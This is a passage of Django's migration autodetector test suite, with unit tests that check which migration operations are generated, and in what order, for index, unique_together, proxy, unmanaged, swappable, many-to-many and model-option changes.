        migration = changes['otherapp'][0]
        self.assertEqual(len(migration.operations), 2)
        # Right actions order?
        self.assertOperationTypes(changes, 'otherapp', 0, ['CreateModel', 'AddIndex'])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name='Author')
        self.assertOperationAttributes(changes, 'otherapp', 0, 1, model_name='author', index=added_index)

    def test_add_indexes(self):
        """Test change detection of new indexes."""
        changes = self.get_changes([self.author_empty, self.book], [self.author_empty, self.book_indexes])
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ['AddIndex'])
        added_index = models.Index(fields=['author', 'title'], name='book_title_author_idx')
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, model_name='book', index=added_index)

    def test_remove_indexes(self):
        """Test change detection of removed indexes."""
        changes = self.get_changes([self.author_empty, self.book_indexes], [self.author_empty, self.book])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ['RemoveIndex'])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, model_name='book', name='book_title_author_idx')

    def test_order_fields_indexes(self):
        """Test change detection of reordering of fields in indexes."""
        changes = self.get_changes(
            [self.author_empty, self.book_indexes], [self.author_empty, self.book_unordered_indexes]
        )
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ['RemoveIndex', 'AddIndex'])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, model_name='book', name='book_title_author_idx')
        added_index = models.Index(fields=['title', 'author'], name='book_author_title_idx')
        self.assertOperationAttributes(changes, 'otherapp', 0, 1, model_name='book', index=added_index)

    def test_add_foo_together(self):
        """Tests index/unique_together detection."""
        changes = self.get_changes([self.author_empty, self.book], [self.author_empty, self.book_foo_together])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, name="book", unique_together={("author", "title")})
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", index_together={("author", "title")})

    def test_remove_foo_together(self):
        """Tests index/unique_together detection."""
        changes = self.get_changes([self.author_empty, self.book_foo_together], [self.author_empty, self.book])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, name="book", unique_together=set())
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", index_together=set())

    def test_foo_together_remove_fk(self):
        """Tests unique_together and field removal detection & ordering"""
        changes = self.get_changes(
            [self.author_empty, self.book_foo_together], [self.author_empty, self.book_with_no_author]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, [
            "AlterUniqueTogether", "AlterIndexTogether", "RemoveField"
        ])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, name="book", unique_together=set())
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", index_together=set())
        self.assertOperationAttributes(changes, "otherapp", 0, 2, model_name="book", name="author")

    def test_foo_together_no_changes(self):
        """
        Tests that index/unique_together doesn't generate a migration if no
        changes have been made.
        """
        changes = self.get_changes(
            [self.author_empty, self.book_foo_together], [self.author_empty, self.book_foo_together]
        )
        # Right number of migrations?
        self.assertEqual(len(changes), 0)

    def test_foo_together_ordering(self):
        """
        Tests that index/unique_together also triggers on ordering changes.
        """
        changes = self.get_changes(
            [self.author_empty, self.book_foo_together], [self.author_empty, self.book_foo_together_2]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, name="book", unique_together={("title", "author")})
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", index_together={("title", "author")})

    def test_add_field_and_foo_together(self):
        """
        Tests that added fields will be created before using them in
        index/unique_together.
        """
        changes = self.get_changes([self.author_empty, self.book], [self.author_empty, self.book_foo_together_3])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["AddField", "AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", unique_together={("title", "newfield")})
        self.assertOperationAttributes(changes, "otherapp", 0, 2, name="book", index_together={("title", "newfield")})

    def test_create_model_and_unique_together(self):
        author = ModelState("otherapp", "Author", [
            ("id", models.AutoField(primary_key=True)),
            ("name", models.CharField(max_length=200)),
        ])
        book_with_author = ModelState("otherapp", "Book", [
            ("id", models.AutoField(primary_key=True)),
            ("author", models.ForeignKey("otherapp.Author", models.CASCADE)),
            ("title", models.CharField(max_length=200)),
        ], {
            "index_together": {("title", "author")},
            "unique_together": {("title", "author")},
        })
        changes = self.get_changes([self.book_with_no_author], [author, book_with_author])
        # Right number of migrations?
        self.assertEqual(len(changes['otherapp']), 1)
        # Right number of actions?
        migration = changes['otherapp'][0]
        self.assertEqual(len(migration.operations), 4)
        # Right actions order?
        self.assertOperationTypes(
            changes, 'otherapp', 0,
            ['CreateModel', 'AddField', 'AlterUniqueTogether', 'AlterIndexTogether']
        )

    def test_remove_field_and_foo_together(self):
        """
        Tests that removed fields will be removed after updating
        index/unique_together.
        """
        changes = self.get_changes(
            [self.author_empty, self.book_foo_together_3], [self.author_empty, self.book_foo_together]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["RemoveField", "AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, model_name="book", name="newfield")
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", unique_together={("author", "title")})
        self.assertOperationAttributes(changes, "otherapp", 0, 2, name="book", index_together={("author", "title")})

    def test_rename_field_and_foo_together(self):
        """
        Tests that removed fields will be removed after updating
        index/unique_together.
        """
        changes = self.get_changes(
            [self.author_empty, self.book_foo_together_3],
            [self.author_empty, self.book_foo_together_4],
            MigrationQuestioner({"ask_rename": True}),
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["RenameField", "AlterUniqueTogether", "AlterIndexTogether"])
        self.assertOperationAttributes(changes, "otherapp", 0, 1, name="book", unique_together={
            ("title", "newfield2")
        })
        self.assertOperationAttributes(changes, "otherapp", 0, 2, name="book", index_together={("title", "newfield2")})

    def test_proxy(self):
        """Tests that the autodetector correctly deals with proxy models."""
        # First, we test adding a proxy model
        changes = self.get_changes([self.author_empty], [self.author_empty, self.author_proxy])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["CreateModel"])
        self.assertOperationAttributes(
            changes, "testapp", 0, 0, name="AuthorProxy", options={"proxy": True, "indexes": []}
        )
        # Now, we test turning a proxy model into a non-proxy model
        # It should delete the proxy then make the real one
        changes = self.get_changes(
            [self.author_empty, self.author_proxy], [self.author_empty, self.author_proxy_notproxy]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["DeleteModel", "CreateModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="AuthorProxy")
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="AuthorProxy", options={"indexes": []})

    def test_proxy_custom_pk(self):
        """
        #23415 - The autodetector must correctly deal with custom FK on proxy
        models.
        """
        # First, we test the default pk field name
        changes = self.get_changes([], [self.author_empty, self.author_proxy_third, self.book_proxy_fk])
        # The field name the FK on the book model points to
        self.assertEqual(changes['otherapp'][0].operations[0].fields[2][1].remote_field.field_name, 'id')
        # Now, we test the custom pk field name
        changes = self.get_changes([], [self.author_custom_pk, self.author_proxy_third, self.book_proxy_fk])
        # The field name the FK on the book model points to
        self.assertEqual(changes['otherapp'][0].operations[0].fields[2][1].remote_field.field_name, 'pk_field')

    def test_proxy_to_mti_with_fk_to_proxy(self):
        # First, test the pk table and field name.
        changes = self.get_changes(
            [],
            [self.author_empty, self.author_proxy_third, self.book_proxy_fk],
        )
        self.assertEqual(
            changes['otherapp'][0].operations[0].fields[2][1].remote_field.model._meta.db_table,
            'testapp_author',
        )
        self.assertEqual(changes['otherapp'][0].operations[0].fields[2][1].remote_field.field_name, 'id')

        # Change AuthorProxy to use MTI.
        changes = self.get_changes(
            [self.author_empty, self.author_proxy_third, self.book_proxy_fk],
            [self.author_empty, self.author_proxy_third_notproxy, self.book_proxy_fk],
        )
        # Right number/type of migrations for the AuthorProxy model?
        self.assertNumberMigrations(changes, 'thirdapp', 1)
        self.assertOperationTypes(changes, 'thirdapp', 0, ['DeleteModel', 'CreateModel'])
        # Right number/type of migrations for the Book model with a FK to
        # AuthorProxy?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ['AlterField'])
        # otherapp should depend on thirdapp.
        self.assertMigrationDependencies(changes, 'otherapp', 0, [('thirdapp', 'auto_1')])
        # Now, test the pk table and field name.
        self.assertEqual(
            changes['otherapp'][0].operations[0].field.remote_field.model._meta.db_table,
            'thirdapp_authorproxy',
        )
        self.assertEqual(changes['otherapp'][0].operations[0].field.remote_field.field_name, 'author_ptr')

    def test_proxy_to_mti_with_fk_to_proxy_proxy(self):
        # First, test the pk table and field name.
        changes = self.get_changes(
            [],
            [self.author_empty, self.author_proxy, self.author_proxy_proxy, self.book_proxy_proxy_fk],
        )
        self.assertEqual(
            changes['otherapp'][0].operations[0].fields[1][1].remote_field.model._meta.db_table,
            'testapp_author',
        )
        self.assertEqual(changes['otherapp'][0].operations[0].fields[1][1].remote_field.field_name, 'id')

        # Change AuthorProxy to use MTI. FK still points to AAuthorProxyProxy,
        # a proxy of AuthorProxy.
        changes = self.get_changes(
            [self.author_empty, self.author_proxy, self.author_proxy_proxy, self.book_proxy_proxy_fk],
            [self.author_empty, self.author_proxy_notproxy, self.author_proxy_proxy, self.book_proxy_proxy_fk],
        )
        # Right number/type of migrations for the AuthorProxy model?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ['DeleteModel', 'CreateModel'])
        # Right number/type of migrations for the Book model with a FK to
        # AAuthorProxyProxy?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ['AlterField'])
        # otherapp should depend on testapp.
        self.assertMigrationDependencies(changes, 'otherapp', 0, [('testapp', 'auto_1')])
        # Now, test the pk table and field name.
        self.assertEqual(
            changes['otherapp'][0].operations[0].field.remote_field.model._meta.db_table,
            'testapp_authorproxy',
        )
        self.assertEqual(changes['otherapp'][0].operations[0].field.remote_field.field_name, 'author_ptr')

    def test_unmanaged_create(self):
        """Tests that the autodetector correctly deals with managed models."""
        # First, we test adding an unmanaged model
        changes = self.get_changes([self.author_empty], [self.author_empty, self.author_unmanaged])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel"])
        self.assertOperationAttributes(
            changes, 'testapp', 0, 0, name="AuthorUnmanaged", options={"managed": False, "indexes": []}
        )

    def test_unmanaged_to_managed(self):
        # Now, we test turning an unmanaged model into a managed model
        changes = self.get_changes(
            [self.author_empty, self.author_unmanaged], [self.author_empty, self.author_unmanaged_managed]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterModelOptions"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="authorunmanaged", options={})

    def test_managed_to_unmanaged(self):
        # Now, we turn managed to unmanaged.
        changes = self.get_changes(
            [self.author_empty, self.author_unmanaged_managed], [self.author_empty, self.author_unmanaged]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, "testapp", 0, ["AlterModelOptions"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="authorunmanaged", options={"managed": False})

    def test_unmanaged_custom_pk(self):
        """
        #23415 - The autodetector must correctly deal with custom FK on
        unmanaged models.
        """
        # First, we test the default pk field name
        changes = self.get_changes([], [self.author_unmanaged_default_pk, self.book])
        # The field name the FK on the book model points to
        self.assertEqual(changes['otherapp'][0].operations[0].fields[2][1].remote_field.field_name, 'id')
        # Now, we test the custom pk field name
        changes = self.get_changes([], [self.author_unmanaged_custom_pk, self.book])
        # The field name the FK on the book model points to
        self.assertEqual(changes['otherapp'][0].operations[0].fields[2][1].remote_field.field_name, 'pk_field')

    @override_settings(AUTH_USER_MODEL="thirdapp.CustomUser")
    def test_swappable(self):
        with isolate_lru_cache(apps.get_swappable_settings_name):
            changes = self.get_changes([self.custom_user], [self.custom_user, self.author_with_custom_user])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertMigrationDependencies(changes, 'testapp', 0, [("__setting__", "AUTH_USER_MODEL")])

    def test_swappable_changed(self):
        with isolate_lru_cache(apps.get_swappable_settings_name):
            before = self.make_project_state([self.custom_user, self.author_with_user])
            with override_settings(AUTH_USER_MODEL="thirdapp.CustomUser"):
                after = self.make_project_state([self.custom_user, self.author_with_custom_user])
            autodetector = MigrationAutodetector(before, after)
            changes = autodetector._detect_changes()
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, model_name="author", name='user')
        fk_field = changes['testapp'][0].operations[0].field
        to_model = '%s.%s' % (
            fk_field.remote_field.model._meta.app_label,
            fk_field.remote_field.model._meta.object_name,
        )
        self.assertEqual(to_model, 'thirdapp.CustomUser')

    def test_add_field_with_default(self):
        """#22030 - Adding a field with a default should work."""
        changes = self.get_changes([self.author_empty], [self.author_name_default])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="name")

    def test_custom_deconstructible(self):
        """
        Two instances which deconstruct to the same value aren't considered a
        change.
        """
        changes = self.get_changes([self.author_name_deconstructible_1], [self.author_name_deconstructible_2])
        # Right number of migrations?
        self.assertEqual(len(changes), 0)

    def test_deconstruct_field_kwarg(self):
        """Field instances are handled correctly by nested deconstruction."""
        changes = self.get_changes([self.author_name_deconstructible_3], [self.author_name_deconstructible_4])
        self.assertEqual(changes, {})

    def test_deconstructible_list(self):
        """Nested deconstruction descends into lists."""
        # When lists contain items that deconstruct to identical values, those lists
        # should be considered equal for the purpose of detecting state changes
        # (even if the original items are unequal).
        changes = self.get_changes(
            [self.author_name_deconstructible_list_1], [self.author_name_deconstructible_list_2]
        )
        self.assertEqual(changes, {})
        # Legitimate differences within the deconstructed lists should be reported
        # as a change
        changes = self.get_changes(
            [self.author_name_deconstructible_list_1], [self.author_name_deconstructible_list_3]
        )
        self.assertEqual(len(changes), 1)

    def test_deconstructible_tuple(self):
        """Nested deconstruction descends into tuples."""
        # When tuples contain items that deconstruct to identical values, those tuples
        # should be considered equal for the purpose of detecting state changes
        # (even if the original items are unequal).
        changes = self.get_changes(
            [self.author_name_deconstructible_tuple_1], [self.author_name_deconstructible_tuple_2]
        )
        self.assertEqual(changes, {})
        # Legitimate differences within the deconstructed tuples should be reported
        # as a change
        changes = self.get_changes(
            [self.author_name_deconstructible_tuple_1], [self.author_name_deconstructible_tuple_3]
        )
        self.assertEqual(len(changes), 1)

    def test_deconstructible_dict(self):
        """Nested deconstruction descends into dict values."""
        # When dicts contain items whose values deconstruct to identical values,
        # those dicts should be considered equal for the purpose of detecting
        # state changes (even if the original values are unequal).
        changes = self.get_changes(
            [self.author_name_deconstructible_dict_1], [self.author_name_deconstructible_dict_2]
        )
        self.assertEqual(changes, {})
        # Legitimate differences within the deconstructed dicts should be reported
        # as a change
        changes = self.get_changes(
            [self.author_name_deconstructible_dict_1], [self.author_name_deconstructible_dict_3]
        )
        self.assertEqual(len(changes), 1)

    def test_nested_deconstructible_objects(self):
        """
        Nested deconstruction is applied recursively to the args/kwargs of
        deconstructed objects.
        """
        # If the items within a deconstructed object's args/kwargs have the same
        # deconstructed values - whether or not the items themselves are different
        # instances - then the object as a whole is regarded as unchanged.
        changes = self.get_changes(
            [self.author_name_nested_deconstructible_1], [self.author_name_nested_deconstructible_2]
        )
        self.assertEqual(changes, {})
        # Differences that exist solely within the args list of a deconstructed object
        # should be reported as changes
        changes = self.get_changes(
            [self.author_name_nested_deconstructible_1], [self.author_name_nested_deconstructible_changed_arg]
        )
        self.assertEqual(len(changes), 1)
        # Additional args should also be reported as a change
        changes = self.get_changes(
            [self.author_name_nested_deconstructible_1], [self.author_name_nested_deconstructible_extra_arg]
        )
        self.assertEqual(len(changes), 1)
        # Differences that exist solely within the kwargs dict of a deconstructed object
        # should be reported as changes
        changes = self.get_changes(
            [self.author_name_nested_deconstructible_1], [self.author_name_nested_deconstructible_changed_kwarg]
        )
        self.assertEqual(len(changes), 1)
        # Additional kwargs should also be reported as a change
        changes = self.get_changes(
            [self.author_name_nested_deconstructible_1], [self.author_name_nested_deconstructible_extra_kwarg]
        )
        self.assertEqual(len(changes), 1)

    def test_deconstruct_type(self):
        """
        #22951 -- Uninstantiated classes with deconstruct are correctly returned
        by deep_deconstruct during serialization.
        """
        author = ModelState(
            "testapp",
            "Author",
            [
                ("id", models.AutoField(primary_key=True)),
                ("name", models.CharField(
                    max_length=200,
                    # IntegerField intentionally not instantiated.
                    default=models.IntegerField,
                ))
            ],
        )
        changes = self.get_changes([], [author])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel"])

    def test_replace_string_with_foreignkey(self):
        """
        #22300 - Adding an FK in the same "spot" as a deleted CharField should
        work.
        """
        changes = self.get_changes([self.author_with_publisher_string], [self.author_with_publisher, self.publisher])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "RemoveField", "AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Publisher")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="publisher_name")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name="publisher")

    def test_foreign_key_removed_before_target_model(self):
        """
        Removing an FK and the model it targets in the same change must remove
        the FK field before the model to maintain consistency.
        """
        changes = self.get_changes(
            [self.author_with_publisher, self.publisher], [self.author_name]
        )  # removes both the model and FK
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RemoveField", "DeleteModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="publisher")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="Publisher")

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_addition',
                side_effect=AssertionError("Should not have prompted for not null addition"))
    def test_add_many_to_many(self, mocked_ask_method):
        """#22435 - Adding a ManyToManyField should not prompt for a default."""
        changes = self.get_changes([self.author_empty, self.publisher], [self.author_with_m2m, self.publisher])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="publishers")

    def test_alter_many_to_many(self):
        changes = self.get_changes(
            [self.author_with_m2m, self.publisher], [self.author_with_m2m_blank, self.publisher]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="publishers")

    def test_create_with_through_model(self):
        """
        Adding a m2m with a through model and the models that use it should be
        ordered correctly.
        """
        changes = self.get_changes([], [self.author_with_m2m_through, self.publisher, self.contract])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, [
            "CreateModel", "CreateModel", "CreateModel", "AddField", "AddField"
        ])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="Contract")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name="Publisher")
        self.assertOperationAttributes(changes, 'testapp', 0, 3, model_name='contract', name='publisher')
        self.assertOperationAttributes(changes, 'testapp', 0, 4, model_name='author', name='publishers')

    def test_many_to_many_removed_before_through_model(self):
        """
        Removing a ManyToManyField and the "through" model in the same change
        must remove the field before the model to maintain consistency.
        """
        changes = self.get_changes(
            [self.book_with_multiple_authors_through_attribution, self.author_name, self.attribution],
            [self.book_with_no_author, self.author_name],
        )
        # Remove both the through model and ManyToMany
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, ["RemoveField", "RemoveField", "RemoveField", "DeleteModel"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="author", model_name='attribution')
        self.assertOperationAttributes(changes, 'otherapp', 0, 1, name="book", model_name='attribution')
        self.assertOperationAttributes(changes, 'otherapp', 0, 2, name="authors", model_name='book')
        self.assertOperationAttributes(changes, 'otherapp', 0, 3, name='Attribution')

    def test_many_to_many_removed_before_through_model_2(self):
        """
        Removing a model that contains a ManyToManyField and the "through" model
        in the same change must remove the field before the model to maintain
        consistency.
        """
        changes = self.get_changes(
            [self.book_with_multiple_authors_through_attribution, self.author_name, self.attribution],
            [self.author_name],
        )
        # Remove both the through model and ManyToMany
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "otherapp", 1)
        self.assertOperationTypes(changes, "otherapp", 0, [
            "RemoveField", "RemoveField", "RemoveField", "DeleteModel", "DeleteModel"
        ])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="author", model_name='attribution')
        self.assertOperationAttributes(changes, 'otherapp', 0, 1, name="book", model_name='attribution')
        self.assertOperationAttributes(changes, 'otherapp', 0, 2, name="authors", model_name='book')
        self.assertOperationAttributes(changes, 'otherapp', 0, 3, name='Attribution')
        self.assertOperationAttributes(changes, 'otherapp', 0, 4, name='Book')

    def test_m2m_w_through_multistep_remove(self):
        """
        A model with a m2m field that specifies a "through" model cannot be
        removed in the same migration as that through model as the schema will
        pass through an inconsistent state. The autodetector should produce two
        migrations to avoid this issue.
        """
        changes = self.get_changes([self.author_with_m2m_through, self.publisher, self.contract], [self.publisher])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, [
            "RemoveField", "RemoveField", "RemoveField", "DeleteModel", "DeleteModel"
        ])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="publishers", model_name='author')
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="author", model_name='contract')
        self.assertOperationAttributes(changes, "testapp", 0, 2, name="publisher", model_name='contract')
        self.assertOperationAttributes(changes, "testapp", 0, 3, name="Author")
        self.assertOperationAttributes(changes, "testapp", 0, 4, name="Contract")

    def test_concrete_field_changed_to_many_to_many(self):
        """
        #23938 - Tests that changing a concrete field into a ManyToManyField
        first removes the concrete field and then adds the m2m field.
        """
        changes = self.get_changes([self.author_with_former_m2m], [self.author_with_m2m, self.publisher])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["CreateModel", "RemoveField", "AddField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name='Publisher')
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="publishers", model_name='author')
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name="publishers", model_name='author')

    def test_many_to_many_changed_to_concrete_field(self):
        """
        #23938 - Tests that changing a ManyToManyField into a concrete field
        first removes the m2m field and then adds the concrete field.
        """
        changes = self.get_changes([self.author_with_m2m, self.publisher], [self.author_with_former_m2m])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["RemoveField", "AddField", "DeleteModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="publishers", model_name='author')
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="publishers", model_name='author')
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name='Publisher')
        self.assertOperationFieldAttributes(changes, 'testapp', 0, 1, max_length=100)

    def test_non_circular_foreignkey_dependency_removal(self):
        """
        If two models with a ForeignKey from one to the other are removed at the
        same time, the autodetector should remove them in the correct order.
        """
        changes = self.get_changes([self.author_with_publisher, self.publisher_with_author], [])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["RemoveField", "RemoveField", "DeleteModel", "DeleteModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="publisher", model_name='author')
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="author", model_name='publisher')
        self.assertOperationAttributes(changes, "testapp", 0, 2, name="Author")
        self.assertOperationAttributes(changes, "testapp", 0, 3, name="Publisher")

    def test_alter_model_options(self):
        """Changing a model's options should make a change."""
        changes = self.get_changes([self.author_empty], [self.author_with_options])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["AlterModelOptions"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, options={
            "permissions": [('can_hire', 'Can hire')],
            "verbose_name": "Authi",
        })

        # Changing them back to empty should also make a change
        changes = self.get_changes([self.author_with_options], [self.author_empty])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["AlterModelOptions"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="author", options={})

    def test_alter_model_options_proxy(self):
        """Changing a proxy model's options should also make a change."""
        changes = self.get_changes(
            [self.author_proxy, self.author_empty], [self.author_proxy_options, self.author_empty]
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["AlterModelOptions"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="authorproxy", options={
            "verbose_name": "Super Author"
        })

    def test_set_alter_order_with_respect_to(self):
        """Tests that setting order_with_respect_to adds a field."""
        changes = self.get_changes([self.book, self.author_with_book], [self.book, self.author_with_book_order_wrt])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterOrderWithRespectTo"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="author", order_with_respect_to="book")

    def test_add_alter_order_with_respect_to(self):
        """
        Tests that setting order_with_respect_to when adding the FK too does
        things in the right order.
        """
        changes = self.get_changes([self.author_name], [self.book, self.author_with_book_order_wrt])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AlterOrderWithRespectTo"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, model_name="author", name="book")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="author", order_with_respect_to="book")

    def test_remove_alter_order_with_respect_to(self):
        """
        Tests that removing order_with_respect_to when removing the FK too does
        things in the right order.
        """
        changes = self.get_changes([self.book, self.author_with_book_order_wrt], [self.author_name])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterOrderWithRespectTo", "RemoveField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="author", order_with_respect_to=None)
        self.assertOperationAttributes(changes, 'testapp', 0, 1, model_name="author", name="book")

    def test_add_model_order_with_respect_to(self):
        """
        Tests that setting order_with_respect_to when adding the whole model
        does things in the right order.
        """
        changes = self.get_changes([], [self.book, self.author_with_book_order_wrt])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "AlterOrderWithRespectTo"])
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name="author", order_with_respect_to="book")
        self.assertNotIn("_order", [name for name, field in changes['testapp'][0].operations[0].fields])

    def test_alter_model_managers(self):
        """
        Tests that changing the model managers adds a new operation.
        """
        changes = self.get_changes([self.other_pony], [self.other_pony_food])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["AlterModelManagers"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="pony")
        self.assertEqual([name for name, mgr in changes['otherapp'][0].operations[0].managers],
                         ['food_qs', 'food_mgr', 'food_mgr_kwargs'])
        self.assertEqual(changes['otherapp'][0].operations[0].managers[1][1].args, ('a', 'b', 1, 2))
        self.assertEqual(changes['otherapp'][0].operations[0].managers[2][1].args, ('x', 'y', 3, 4))

    def test_swappable_first_inheritance(self):
        """Tests that swappable models get their CreateModel first."""
        changes = self.get_changes([], [self.custom_user, self.aardvark])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'thirdapp', 1)
